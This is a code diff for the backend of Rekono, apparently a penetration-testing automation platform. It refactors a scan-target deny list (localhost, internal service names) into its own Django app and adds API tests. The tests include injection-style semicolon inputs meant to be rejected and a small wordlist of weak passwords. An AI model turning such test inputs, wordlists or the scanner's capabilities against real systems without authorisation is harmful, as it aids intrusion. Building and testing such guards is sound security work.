request.method == "GET" - or getattr(instance, field) == request.user - or (allow_admin and IsAdmin().has_permission(request, view)) + instance = None + owner_field = "" + allow_admin = False + if obj.__class__ in [Wordlist, Process, Step]: + instance = obj.process if obj.__class__ == Step else obj + owner_field = "owner" + allow_admin = True + elif obj.__class__ == TelegramChat: + instance = obj + owner_field = "user" + return self._has_object_permission( + request, view, instance, owner_field, allow_admin ) diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index 6de48f3cf..e9ae4fdc7 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -40,6 +40,12 @@ class Role(models.TextChoices): "change": [], "delete": [Role.ADMIN, Role.AUDITOR], }, + "targetblacklist": { + "view": [Role.ADMIN], + "add": [Role.ADMIN], + "change": [Role.ADMIN], + "delete": [Role.ADMIN], + }, "task": { "view": [Role.ADMIN, Role.AUDITOR, Role.READER], "add": [Role.ADMIN, Role.AUDITOR], diff --git a/src/backend/security/file_handler.py b/src/backend/security/file_handler.py index f1b034b5c..ed66bab30 100644 --- a/src/backend/security/file_handler.py +++ b/src/backend/security/file_handler.py @@ -7,6 +7,7 @@ import magic from django.core.exceptions import ValidationError from rekono.settings import CONFIG +from settings.models import Settings logger = logging.getLogger() @@ -21,7 +22,7 @@ def __init__( self.allowed_mime_types = mime_types def _validate_size(self, in_memory_file: Any) -> None: - max_mb_size = 100 + max_mb_size = Settings.objects.first().max_uploaded_file_mb size = in_memory_file.size / (1024 * 1024) # Get file size in MB if size > max_mb_size: # File size greater than size limit logger.warning( diff --git a/src/backend/security/input_validator.py b/src/backend/security/input_validator.py index 9632f5b5a..c9f6d5206 100644 --- a/src/backend/security/input_validator.py +++ b/src/backend/security/input_validator.py @@ -1,7 +1,5 @@ -import ipaddress import logging import re -from dataclasses import dataclass from enum import Enum from re import RegexFlag from typing import Any @@ -9,9 +7,6 @@ from django.core.validators import RegexValidator from django.forms import ValidationError from django.utils import timezone -from framework.fields import StringAsListField -from rekono.settings import CONFIG -from settings.models import Settings logger = logging.getLogger() @@ -53,60 +48,6 @@ def __call__(self, value: str | None) -> None: raise ValidationError(self.message, code=self.code, params={"value": value}) -class TargetValidator(RegexValidator): - def __init__( - self, - regex: Any | None = ..., - message: Any | None = ..., - code: str | None = "target", - inverse_match: bool | None = False, - flags: RegexFlag | None = None, - ) -> None: - self.code = code - flags = None # Needed to prevent TypeError - super().__init__(regex, message, code, inverse_match, flags) - self.target_blacklist = CONFIG.target_blacklist - try: - settings = Settings.objects.first() - if settings.exists(): - self.target_blacklist += StringAsListField().to_representation( - settings.first().target_blacklist - ) - except: - pass - - def __call__(self, value: str | None) -> None: - super().__call__(value) - if value in self.target_blacklist: - raise ValidationError( - f"Target is disallowed by policy", - code=self.code, - params={"value": value}, - ) - for denied_value in self.target_blacklist: - if re.fullmatch(denied_value, value): - raise ValidationError( - f"Target is disallowed by policy", - code=self.code, - params={"value": value}, - ) - for address_class, network_class in [ - (ipaddress.IPv4Address, ipaddress.IPv4Network), - (ipaddress.IPv6Address, ipaddress.IPv6Network), - ]: - try: - address = address_class(value) - network = network_class(denied_value) - if address in network: - raise ValidationError( - f"Target belongs to a network that is disallowed by policy", - code="target", - params={"value": value}, - ) - except ipaddress.AddressValueError: - pass - - class FutureDatetimeValidator(RegexValidator): def __call__(self, value: Any) -> None: if value <= timezone.now(): diff --git a/src/backend/security/target_validator.py b/src/backend/security/target_validator.py new file mode 100644 index 000000000..05faa249c --- /dev/null +++ b/src/backend/security/target_validator.py @@ -0,0 +1,59 @@ +import ipaddress +import re +from re import RegexFlag +from typing import Any + +from django.core.validators import RegexValidator +from django.forms import ValidationError +from target_blacklist.models import TargetBlacklist + + +class TargetValidator(RegexValidator): + def __init__( + self, + regex: Any | None = ..., + message: Any | None = ..., + code: str | None = "target", + inverse_match: bool | None = False, + flags: RegexFlag | None = None, + ) -> None: + self.code = code + flags = None # Needed to prevent TypeError + super().__init__(regex, message, code, inverse_match, flags) + try: + self.target_blacklist = TargetBlacklist.objects.all().values_list( + "target", flat=True + ) + except: + self.target_blacklist = [] + + def __call__(self, value: str | None) -> None: + super().__call__(value) + if value in self.target_blacklist: + raise ValidationError( + f"Target is disallowed by policy", + code=self.code, + params={"value": value}, + ) + for denied_value in self.target_blacklist: + if re.fullmatch(denied_value, value): + raise ValidationError( + f"Target is disallowed by policy", + code=self.code, + params={"value": value}, + ) + for address_class, network_class in [ + (ipaddress.IPv4Address, ipaddress.IPv4Network), + (ipaddress.IPv6Address, ipaddress.IPv6Network), + ]: + try: + address = address_class(value) + network = network_class(denied_value) + if address in network: + raise ValidationError( + f"Target belongs to a network that is disallowed by policy", + code="target", + params={"value": value}, + ) + except ipaddress.AddressValueError: + pass diff --git a/src/backend/settings/fixtures/1_default.json b/src/backend/settings/fixtures/1_default.json index de778afdd..9ce098682 100644 --- a/src/backend/settings/fixtures/1_default.json +++ b/src/backend/settings/fixtures/1_default.json @@ -3,8 +3,7 @@ "model": "settings.settings", "pk": 1, "fields": { - "max_uploaded_file_mb": 512, - "target_blacklist": null + "max_uploaded_file_mb": 512 } } ] \ No newline at end of file diff --git a/src/backend/settings/models.py b/src/backend/settings/models.py index d846d3c34..ebe360788 100644 --- a/src/backend/settings/models.py +++ b/src/backend/settings/models.py @@ -8,9 +8,8 @@ class Settings(BaseModel): # Max size in MB for uploaded files max_uploaded_file_mb = models.IntegerField( - default=512, validators=[MinValueValidator(128), MaxValueValidator(1024)] + default=512, validators=[MinValueValidator(128), MaxValueValidator(3072)] ) - target_blacklist = models.TextField(blank=True, null=True) def __str__(self) -> str: """Instance representation in text format. diff --git a/src/backend/settings/serializers.py b/src/backend/settings/serializers.py index 40fc4cd43..a5142d65e 100644 --- a/src/backend/settings/serializers.py +++ b/src/backend/settings/serializers.py @@ -1,26 +1,11 @@ -from framework.fields import StringAsListField from rest_framework.serializers import ModelSerializer -from security.input_validator import Regex, Validator from settings.models import Settings class SettingsSerializer(ModelSerializer): - """Serializer to manage system settings via API.""" - - # # Telegram bot name obtained automatically using the Telegram token - # telegram_bot_name = serializers.SerializerMethodField(method_name='get_telegram_bot_name', read_only=True) - # # Telegram token in a protected way - # telegram_bot_token = ProtectedStringValueField(required=False, allow_null=True) - target_blacklist = StringAsListField( - Validator(Regex.TARGET_REGEX.value, code="target_blacklist").__call__, - required=False, - allow_null=True, - ) - class Meta: model = Settings fields = ( "id", "max_uploaded_file_mb", - "target_blacklist", ) diff --git a/src/backend/settings/views.py b/src/backend/settings/views.py index 96c714232..c84b3b59d 100644 --- a/src/backend/settings/views.py +++ b/src/backend/settings/views.py @@ -10,4 +10,4 @@ class SettingsViewSet(BaseViewSet): queryset = Settings.objects.all() serializer_class = SettingsSerializer - http_method_names = ["get", "put"] # Required to remove PATCH method + http_method_names = ["get", "put"] diff --git a/src/backend/target_blacklist/__init__.py b/src/backend/target_blacklist/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/target_blacklist/admin.py b/src/backend/target_blacklist/admin.py new file mode 100644 index 000000000..204e93cfc --- /dev/null +++ b/src/backend/target_blacklist/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +from target_blacklist.models import TargetBlacklist + +# Register your models here. + +admin.site.register(TargetBlacklist) diff --git a/src/backend/target_blacklist/apps.py b/src/backend/target_blacklist/apps.py new file mode 100644 index 000000000..657580fbb --- /dev/null +++ b/src/backend/target_blacklist/apps.py @@ -0,0 +1,16 @@ +from pathlib import Path +from typing import Any, List + +from django.apps import AppConfig +from framework.apps import BaseApp + + +class TargetBlacklistConfig(BaseApp, AppConfig): + name = "target_blacklist" + fixtures_path = Path(__file__).resolve().parent / "fixtures" + skip_if_model_exists = True + + def _get_models(self) -> List[Any]: + from target_blacklist.models import TargetBlacklist + + return [TargetBlacklist] diff --git a/src/backend/target_blacklist/filters.py b/src/backend/target_blacklist/filters.py new file mode 100644 index 000000000..114bfefaa --- /dev/null +++ b/src/backend/target_blacklist/filters.py @@ -0,0 +1,8 @@ +from django_filters.rest_framework import FilterSet +from target_blacklist.models import TargetBlacklist + + +class TargetBlacklistFilter(FilterSet): + class Meta: + model = TargetBlacklist + fields = {"target": ["exact", "icontains"], "default": ["exact"]} diff --git a/src/backend/target_blacklist/fixtures/1_blacklist.json b/src/backend/target_blacklist/fixtures/1_blacklist.json new file mode 100644 index 000000000..5ab29d357 --- /dev/null +++ b/src/backend/target_blacklist/fixtures/1_blacklist.json @@ -0,0 +1,106 @@ +[ + { + "model": "target_blacklist.targetblacklist", + "pk": 1, + "fields": { + "target": "127.0.0.1", + "default": true + } + }, + { + "model": "target_blacklist.targetblacklist", + "pk": 2, + "fields": { + "target": "::1", + "default": true + } + }, + { + "model": "target_blacklist.targetblacklist", + "pk": 3, + "fields": { + "target": "localhost", + "default": true + } + }, + { + "model": "target_blacklist.targetblacklist", + "pk": 4, + "fields": { + "target": "frontend", + "default": true + } + }, + { + "model": "target_blacklist.targetblacklist", + "pk": 5, + "fields": { + "target": "backend", + "default": true + } + }, + { + "model": "target_blacklist.targetblacklist", + "pk": 6, + "fields": { + "target": "postgres", + "default": true + } + }, + { + "model": "target_blacklist.targetblacklist", + "pk": 7, + "fields": { + "target": "redis", + "default": true + } + }, + { + "model": "target_blacklist.targetblacklist", + "pk": 8, + "fields": { + "target": "initialize", + "default": true + } + }, + { + "model": "target_blacklist.targetblacklist", + "pk": 9, + "fields": { + "target": "tasks-worker", + "default": true + } + }, + { + "model": "target_blacklist.targetblacklist", + "pk": 10, + "fields": { + "target": "executions-worker", + "default": true + } + }, + { + "model": "target_blacklist.targetblacklist", + "pk": 11, + "fields": { + "target": "findings-worker", + "default": true + } + }, + { + "model": "target_blacklist.targetblacklist", + "pk": 12, + "fields": { + "target": "telegram-bot", + "default": true + } + }, + { + "model": "target_blacklist.targetblacklist", + "pk": 13, + "fields": { + "target": "nginx", + "default": true + } + } +] \ No newline at end of file diff --git a/src/backend/target_blacklist/models.py b/src/backend/target_blacklist/models.py new file mode 100644 index 000000000..9f32017d4 --- /dev/null +++ b/src/backend/target_blacklist/models.py @@ -0,0 +1,20 @@ +from django.db import models +from framework.models import BaseModel +from security.input_validator import Regex, Validator + +# Create your models here. + + +class TargetBlacklist(BaseModel): + target = models.TextField( + unique=True, max_length=100, validators=[Validator(Regex.TARGET_REGEX.value)] + ) + default = models.BooleanField(default=False) + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + return self.target diff --git a/src/backend/target_blacklist/serializers.py b/src/backend/target_blacklist/serializers.py new file mode 100644 index 000000000..56563dabe --- /dev/null +++ b/src/backend/target_blacklist/serializers.py @@ -0,0 +1,9 @@ +from rest_framework.serializers import ModelSerializer +from target_blacklist.models import TargetBlacklist + + +class TargetBlacklistSerializer(ModelSerializer): + class Meta: + model = TargetBlacklist + fields = ("id", "target", "default") + read_only_fields = ("default",) diff --git a/src/backend/target_blacklist/urls.py b/src/backend/target_blacklist/urls.py new file mode 100644 index 000000000..e04e83dea --- /dev/null +++ b/src/backend/target_blacklist/urls.py @@ -0,0 +1,9 @@ +from rest_framework.routers import SimpleRouter +from target_blacklist.views import TargetBlacklistViewSet + +# Register your views here. + +router = SimpleRouter() +router.register("target-blacklist", TargetBlacklistViewSet) + +urlpatterns = router.urls diff --git a/src/backend/target_blacklist/views.py b/src/backend/target_blacklist/views.py new file mode 100644 index 000000000..f9b8d3b28 --- /dev/null +++ b/src/backend/target_blacklist/views.py @@ -0,0 +1,24 @@ +from django.db.models import QuerySet +from framework.views import BaseViewSet +from target_blacklist.filters import TargetBlacklistFilter +from target_blacklist.models import TargetBlacklist +from target_blacklist.serializers import TargetBlacklistSerializer + +# Create your views here. + + +class TargetBlacklistViewSet(BaseViewSet): + queryset = TargetBlacklist.objects.all() + filterset_class = TargetBlacklistFilter + serializer_class = TargetBlacklistSerializer + search_fields = ["target"] + ordering_fields = ["id", "target"] + http_method_names = ["get", "post", "put", "delete"] + + def get_queryset(self) -> QuerySet: + default_queryset = super().get_queryset() + return ( + default_queryset.filter(default=False).all() + if self.request.method in ["PUT", "DELETE"] + else default_queryset + ) diff --git a/src/backend/target_ports/filters.py b/src/backend/target_ports/filters.py index b8ada9fb4..cbfa7c0fb 100644 --- a/src/backend/target_ports/filters.py +++ b/src/backend/target_ports/filters.py @@ -1,12 +1,15 @@ from django_filters.filters import ModelChoiceFilter from django_filters.rest_framework import FilterSet +from projects.models import Project from target_ports.models import TargetPort class TargetPortFilter(FilterSet): """FilterSet to filter and sort Target Port entities.""" - project = ModelChoiceFilter(field_name="target__project") + project = ModelChoiceFilter( + queryset=Project.objects.all(), field_name="target__project" + ) class Meta: """FilterSet metadata.""" diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py index 2c74524e5..dfdcb64f3 100644 --- a/src/backend/target_ports/models.py +++ b/src/backend/target_ports/models.py @@ -1,6 +1,5 @@ from typing import Any, Dict -from authentications.models import Authentication from django.core.validators import MaxValueValidator, MinValueValidator from django.db import models from framework.enums import InputKeyword @@ -26,13 +25,6 @@ class TargetPort(BaseInput): blank=True, null=True, ) - authentication = models.OneToOneField( - Authentication, - related_name="target_port", - on_delete=models.SET_NULL, - blank=True, - null=True, - ) filters = [BaseInput.Filter(type=int, field="port")] diff --git a/src/backend/target_ports/serializers.py b/src/backend/target_ports/serializers.py index 578c66f81..5524814d3 100644 --- a/src/backend/target_ports/serializers.py +++ b/src/backend/target_ports/serializers.py @@ -1,19 +1,11 @@ -from authentications.models import Authentication from authentications.serializers import AuthenticationSerializer -from rest_framework.serializers import ModelSerializer, PrimaryKeyRelatedField +from rest_framework.serializers import ModelSerializer from target_ports.models import TargetPort class TargetPortSerializer(ModelSerializer): """Serializer to manage target ports via API.""" - authentication_id = PrimaryKeyRelatedField( - many=False, - write_only=True, - required=False, - source="authentication", - queryset=Authentication.objects.all(), - ) authentication = AuthenticationSerializer(many=False, read_only=True) class Meta: @@ -23,6 +15,5 @@ class Meta: "target", "port", "path", - "authentication_id", "authentication", ) diff --git a/src/backend/target_ports/views.py b/src/backend/target_ports/views.py index e422d1332..f6487e271 100644 --- a/src/backend/target_ports/views.py +++ b/src/backend/target_ports/views.py @@ -20,6 +20,3 @@ class TargetPortViewSet(BaseViewSet): "post", "delete", ] - - # # Project members field used for authorization purposes - # members_field = "target__project__members" diff --git a/src/backend/targets/models.py b/src/backend/targets/models.py index 4bfeedc7e..4b4e963d7 100644 --- a/src/backend/targets/models.py +++ b/src/backend/targets/models.py @@ -9,7 +9,8 @@ from framework.enums import InputKeyword from framework.models import BaseInput from projects.models import Project -from security.input_validator import Regex, TargetValidator +from security.input_validator import Regex +from security.target_validator import TargetValidator from targets.enums import TargetType # Create your models here. @@ -24,7 +25,7 @@ class Target(BaseInput): target = models.TextField( max_length=100, validators=[TargetValidator(Regex.TARGET.value)] ) - type = models.TextField(max_length=10, choices=TargetType.choices) # Target type + type = models.TextField(max_length=10, choices=TargetType.choices) filters = [BaseInput.Filter(type=TargetType, field="type")] diff --git a/src/backend/targets/serializers.py b/src/backend/targets/serializers.py index 9bdf2e775..33dd25f73 100644 --- a/src/backend/targets/serializers.py +++ b/src/backend/targets/serializers.py @@ -10,7 +10,7 @@ class SimpleTargetSerializer(ModelSerializer): class Meta: model = Target - fields = ("id", "project", "target", "type") # Target fields exposed via API + fields = ("id", "project", "target", "type") class TargetSerializer(ModelSerializer): @@ -20,7 +20,7 @@ class TargetSerializer(ModelSerializer): class Meta: model = Target - fields = ( # Target fields exposed via API + fields = ( "id", "project", "target", @@ -31,7 +31,7 @@ class Meta: "tasks", "defect_dojo_sync", ) - read_only_fields = ( # Read only fields + read_only_fields = ( "type", "target_ports", "input_technologies", diff --git a/src/backend/tests/__init__.py b/src/backend/tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py new file mode 100644 index 000000000..6358e56b4 --- /dev/null +++ b/src/backend/tests/cases.py @@ -0,0 +1,91 @@ +import json +from dataclasses import dataclass +from typing import Any, Dict, List, Tuple + +from django.db import transaction +from django.test import TestCase +from findings.framework.models import Finding +from rest_framework.test import APIClient + + +class RekonoTestCase: + tc = TestCase() + + def test_case(self) -> None: + pass + + +@dataclass +class ApiTestCase(RekonoTestCase): + executors: List[str] + method: str + status_code: int + data: Dict[str, Any] = None + expected: Dict[str, Any] = None + endpoint: str = "{endpoint}" + format: str = "json" + + def _login(self, username: str, password: str) -> Tuple[str, str]: + response = APIClient().post( + "/api/security/login/", + data={"username": username, "password": password}, + ) + content = json.loads((response.content or "{}".encode()).decode()) + return content.get("access"), content.get("refresh") + + def _check_response_content( + self, expected: Dict[str, Any], response: Dict[str, Any] + ) -> None: + for key, value in expected.items(): + if isinstance(value, dict): + self._check_response_content(value, response.get(key, {})) + else: + try: + self.tc.assertEqual(value, response.get(key)) + except Exception as ex: + print(self.__dict__) + input(response) + raise ex + + def test_case(self, *args: Any, **kwargs: Any) -> None: + for executor in self.executors: + with transaction.atomic(): + credentials = {"username": executor, "password": executor} + if isinstance(executor, tuple): + credentials = {"username": executor[0], "password": executor[1]} + access, _ = self._login(**credentials) + api_client = APIClient(HTTP_AUTHORIZATION=f"Bearer {access}") + response = getattr(api_client, self.method.lower())( + self.endpoint.format(endpoint=kwargs["endpoint"]), + data=self.data or None, + format=self.format, + ) + try: + self.tc.assertEqual(self.status_code, response.status_code) + except Exception as ex: + print(self.__dict__) + print(response.status_code) + input(response.content) + raise ex + content = json.loads((response.content or "{}".encode()).decode()) + if self.expected is not None: + if isinstance(self.expected, dict): + self._check_response_content(self.expected, content) + elif isinstance(self.expected, list): + content = content.get("results", []) + self.tc.assertEqual(len(self.expected), len(content)) + for index, item in enumerate(self.expected): + self._check_response_content(item, content[index]) + elif self.expected: + self.tc.assertTrue(False) + + +@dataclass +class ToolTestCase(RekonoTestCase): + tool: str + report: str + expected: List[Finding] + stdout: bool + + def test_case(self, *args: Any, **kwargs: Any) -> None: + return super().test_case() diff --git a/src/backend/tests/data/wordlists/default_wordlist.txt b/src/backend/tests/data/wordlists/default_wordlist.txt new file mode 100644 index 000000000..e53c39af2 --- /dev/null +++ b/src/backend/tests/data/wordlists/default_wordlist.txt @@ -0,0 +1,3 @@ +/robots.txt +/admin +/about \ No newline at end of file diff --git a/src/backend/tests/data/wordlists/endpoints_wordlist.txt b/src/backend/tests/data/wordlists/endpoints_wordlist.txt new file mode 100644 index 000000000..e53c39af2 --- /dev/null +++ b/src/backend/tests/data/wordlists/endpoints_wordlist.txt @@ -0,0 +1,3 @@ +/robots.txt +/admin +/about \ No newline at end of file diff --git a/src/backend/tests/data/wordlists/invalid_mime_type.txt b/src/backend/tests/data/wordlists/invalid_mime_type.txt new file mode 100644 index 0000000000000000000000000000000000000000..e90321ef77423d2e48af548f8d964bb57a982ea4 GIT binary patch literal 4478 zcmeHLZ){Ul6z{+)zLf+SG1XwW{F!#*_WpKl$(Y+(CS^m)x`2U_^tJD9Jkq__y!Sc= zNT7=ii;OrH{uxMEMhJ#12Kb;K`0|8;BV>WNeIObGMDUBKiTfaGpx*P=LdQ_Q`k_tp zd-t7p?m73IdrxwHw=xuHu4Zd^sxo{3xBEYxnH;*Ay-M+jL27IpRab}TW;tPCjXV>g zfde?MN*K|tSm`vjB99N%*HgNoVX=$qDO=t?r`^@g*qXvEVS9PS(#&vsCYhlI=B+=>c++|IYym-;JKhBNmf_T4uke*4i6KX1r1*e1WMc!|P_ zl($Squo|{#RqZ>HWEml`(?Sg^2I9!)Hbl2!T}^3mtRrDc;8zuceAf{~MHJRzNfw*b z9<-Su0=LhNyaKm{B7x-nz`R2AAx({kv4J)dXMtu!2fK*Nru@^Ne+JPOM1Qa@whhM( z1UU&$R zP}pT^+AbGw?aw#M=GttwOG8V3JvqKmnU}t_w`}%{4kr^eOM_ApN++RI1*Iw|RY9o= zN>xy*g8xYsm}92x^2&$VnVqz!s1bdi^u=@|^!N&Nm2?1i%W>TH9%*v(T|Uo}Zt;0E zptwPdN2BvszvCJe#b|VNYZEx%A>u-zhxoT$3%jVZZ+31mDk;onAygReoFWF8t zCSG{heIWfx_Tor6xBvY1Ba6Q4{psFXErl-hUtY=d}Q#t866oj&1L)MT|XC#-rD_fI{o{crq-5|>BfQM z>AUAPHpbR3$=0E34-cI7jyboM_l0|=fkp55n1`(!^B8@+b z=oVSh384WxMeG&v6YmU@e$fyUYUdQw((@GSDWUNdPmqlSMlQcdD2FB@!V;6BLS`pK z#4#LK&2ZH$heVVRb;SB=IIc$EYLZH46)~=NOAOgez)&Yb85Wofi z44?t%05ZTNfC6CYu`uEQY5=TP>qEo^?|uLkz;c&_k!2}VXWFuA8MLgpVTL7( zRKd{lvK~gMC$_A$8t}UFiAo4Y0f1(Jrz^68u#~Mhd*G{4MaUi@+J;KEBg~Sa6SqJ17RR3`Lyhf2h{& z=G~|R6=bZ397Fgar6A+oEFsX-Wh6T@^cc=VPWdx>d@bR~(`CFsZW*4HF|{-7@opcf zkZ0!B3PnB)O_UQ@vu-uQ@=i=*Bi9A03T)WA83-yJDuOdjZV7?`QX+L7ah{1`cbxMG sOsyob*yG_kL=P5xULof5G4<4ct4x&`*)Pqoaw@PKM^#p?TGved4eM-@rT_o{ literal 0 HcmV?d00001 diff --git a/src/backend/tests/data/wordlists/subdomains_wordlist.txt b/src/backend/tests/data/wordlists/subdomains_wordlist.txt new file mode 100644 index 000000000..265afa5a7 --- /dev/null +++ b/src/backend/tests/data/wordlists/subdomains_wordlist.txt @@ -0,0 +1,3 @@ +admin1234 +Enero2020 +password \ No newline at end of file diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py new file mode 100644 index 000000000..2a5b6cf8e --- /dev/null +++ b/src/backend/tests/framework.py @@ -0,0 +1,96 @@ +import json +from pathlib import Path +from typing import Any, Dict, List + +from django.test import TestCase +from projects.models import Project +from rest_framework.test import APIClient +from security.authorization.roles import Role +from targets.enums import TargetType +from targets.models import Target +from tests.cases import RekonoTestCase +from users.models import User + + +class RekonoTest(TestCase): + login = "/api/security/login/" + profile = "/api/profile/" + endpoint = "" + expected_str = "" + data_dir = Path(__file__).resolve().parent / "data" + cases: List[RekonoTestCase] = [] + anonymous_allowed = False + + def _get_object(self) -> Any: + return None + + def _get_api_client(self, access: str = None, token: str = None): + client = ( + APIClient(HTTP_AUTHORIZATION=f"Bearer {access}") if access else APIClient() + ) + return APIClient(HTTP_AUTHORIZATION=f"Token {token}") if token else client + + def _get_content(self, raw: Any) -> Dict[str, Any]: + return json.loads((raw or "{}".encode()).decode()) + + def _create_user(self, username: str, role: Role) -> User: + new_user = User.objects.create( + username=username, + first_name=username, + last_name=username, + email=f"{username}@rekono.com", + is_active=True, + ) + new_user.set_password(username) + new_user.save(update_fields=["password"]) + User.objects.assign_role(new_user, role) + return new_user + + def setUp(self) -> None: + self.users: Dict[Role, List[User]] = { + Role.ADMIN: [], + Role.AUDITOR: [], + Role.READER: [], + } + for username, role in [ + ("admin1", Role.ADMIN), + ("admin2", Role.ADMIN), + ("auditor1", Role.AUDITOR), + ("auditor2", Role.AUDITOR), + ("reader1", Role.READER), + ("reader2", Role.READER), + ]: + setattr(self, username, self._create_user(username, role)) + self.users[role].append(getattr(self, username)) + + def _setup_project(self) -> None: + self.project = Project.objects.create( + name="test", description="test", owner=self.admin1 + ) + for user in [self.admin1, self.auditor1, self.reader1]: + self.project.members.add(user) + + def _setup_target(self) -> None: + self._setup_project() + self.target = Target.objects.create( + project=self.project, target="10.10.10.10", type=TargetType.PRIVATE_IP + ) + + def tearDown(self) -> None: + pass + + def test_cases(self) -> None: + for test_case in self.cases: + test_case.test_case(endpoint=self.endpoint) + + def test_str(self) -> None: + object = self._get_object() + if object and self.expected_str: + self.assertEqual(self.expected_str, object.__str__()) + + def test_anonymous_access(self) -> None: + if self.anonymous_allowed is not None and self.endpoint: + response = APIClient().get(self.endpoint) + self.assertEqual( + 200 if self.anonymous_allowed else 401, response.status_code + ) diff --git a/src/backend/tests/test_api_tokens.py b/src/backend/tests/test_api_tokens.py new file mode 100644 index 000000000..bb267f9c5 --- /dev/null +++ b/src/backend/tests/test_api_tokens.py @@ -0,0 +1,89 @@ +from datetime import datetime, timedelta +from typing import Any + +from api_tokens.models import ApiToken +from tests.cases import ApiTestCase +from tests.framework import RekonoTest + +api_token1 = { + "name": "test1", + "expiration": (datetime.now() + timedelta(days=365)).isoformat() + "Z", +} +invalid_api_token = { + "name": "test;1", + "expiration": (datetime.now() + timedelta(days=365)).isoformat() + "Z", +} + + +class ApiTokenTest(RekonoTest): + endpoint = "/api/api-tokens/" + expected_str = f"admin1@rekono.com - {api_token1['name']}" + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint=f"{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "post", + 400, + invalid_api_token, + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "post", + 201, + api_token1, + api_token1, + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[api_token1], + ), + ApiTestCase( + ["admin1"], "get", 200, expected=api_token1, endpoint=f"{endpoint}1/" + ), + ApiTestCase( + ["admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint=f"{endpoint}1/", + ), + ApiTestCase( + ["auditor1"], "get", 200, expected=api_token1, endpoint=f"{endpoint}3/" + ), + ApiTestCase( + ["reader1"], "get", 200, expected=api_token1, endpoint=f"{endpoint}5/" + ), + ApiTestCase( + ["admin2", "auditor1", "auditor2", "reader1", "reader2"], + "delete", + 404, + endpoint=f"{endpoint}1/", + ), + ApiTestCase(["admin1"], "delete", 204, endpoint=f"{endpoint}1/"), + ApiTestCase(["admin2"], "delete", 204, endpoint=f"{endpoint}2/"), + ApiTestCase(["auditor1"], "delete", 204, endpoint=f"{endpoint}3/"), + ApiTestCase(["auditor2"], "delete", 204, endpoint=f"{endpoint}4/"), + ApiTestCase(["reader1"], "delete", 204, endpoint=f"{endpoint}5/"), + ApiTestCase(["reader2"], "delete", 204, endpoint=f"{endpoint}6/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ] + + def _get_object(self) -> Any: + return ApiToken(**{"user": self.admin1, **api_token1}) diff --git a/src/backend/tests/test_authentications.py b/src/backend/tests/test_authentications.py new file mode 100644 index 000000000..7f97c037c --- /dev/null +++ b/src/backend/tests/test_authentications.py @@ -0,0 +1,120 @@ +from typing import Any + +from authentications.enums import AuthenticationType +from authentications.models import Authentication +from target_ports.models import TargetPort +from tests.cases import ApiTestCase +from tests.framework import RekonoTest + +authentication = { + "name": "admin", + "secret": "admin", + "type": AuthenticationType.BASIC, + "target_port": 1, +} +invalid_authentication1 = { + "name": "invalid;name", + "secret": "admin", + "type": AuthenticationType.TOKEN, + "target_port": 1, +} +invalid_authentication2 = { + "name": "admin", + "secret": "invalid;secret", + "type": AuthenticationType.BEARER, + "target_port": 1, +} +invalid_authentication3 = { + "name": "newadmin", + "secret": "newadmin", + "type": AuthenticationType.BASIC, + "target_port": 1, +} + + +class AuthenticationTest(RekonoTest): + endpoint = "/api/authentications/" + expected_str = "10.10.10.10 - 80 - admin" + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}1/", + ), + ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_authentication1), + ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_authentication2), + ApiTestCase( + ["admin2", "auditor2", "reader1", "reader2"], "post", 403, authentication + ), + ApiTestCase( + ["admin1"], + "post", + 201, + authentication, + {"id": 1, **authentication, "secret": "*" * len(authentication["secret"])}, + ), + ApiTestCase(["admin1", "auditor1"], "post", 400, authentication), + ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_authentication3), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 1, + **authentication, + "secret": "*" * len(authentication["secret"]), + } + ], + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={ + "id": 1, + **authentication, + "secret": "*" * len(authentication["secret"]), + }, + endpoint="{endpoint}1/", + ), + ApiTestCase(["admin2", "auditor2", "reader2"], "get", 200, expected=[]), + ApiTestCase( + ["admin2", "auditor2", "reader2"], "get", 404, endpoint="{endpoint}1/" + ), + ApiTestCase(["reader1", "reader2"], "delete", 403, endpoint="{endpoint}1/"), + ApiTestCase(["admin2", "auditor2"], "delete", 404, endpoint="{endpoint}1/"), + ApiTestCase(["auditor1"], "delete", 204, endpoint="{endpoint}1/"), + ApiTestCase(["admin1"], "delete", 404, endpoint="{endpoint}1/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}1/", + ), + ] + + def setUp(self) -> None: + super().setUp() + self._setup_target() + self.target_port = TargetPort.objects.create( + target=self.target, port=80, path=None + ) + TargetPort.objects.create(target=self.target, port=22, path=None) + TargetPort.objects.create(target=self.target, port=443, path=None) + + def _get_object(self) -> Any: + return Authentication(**{**authentication, "target_port": self.target_port}) 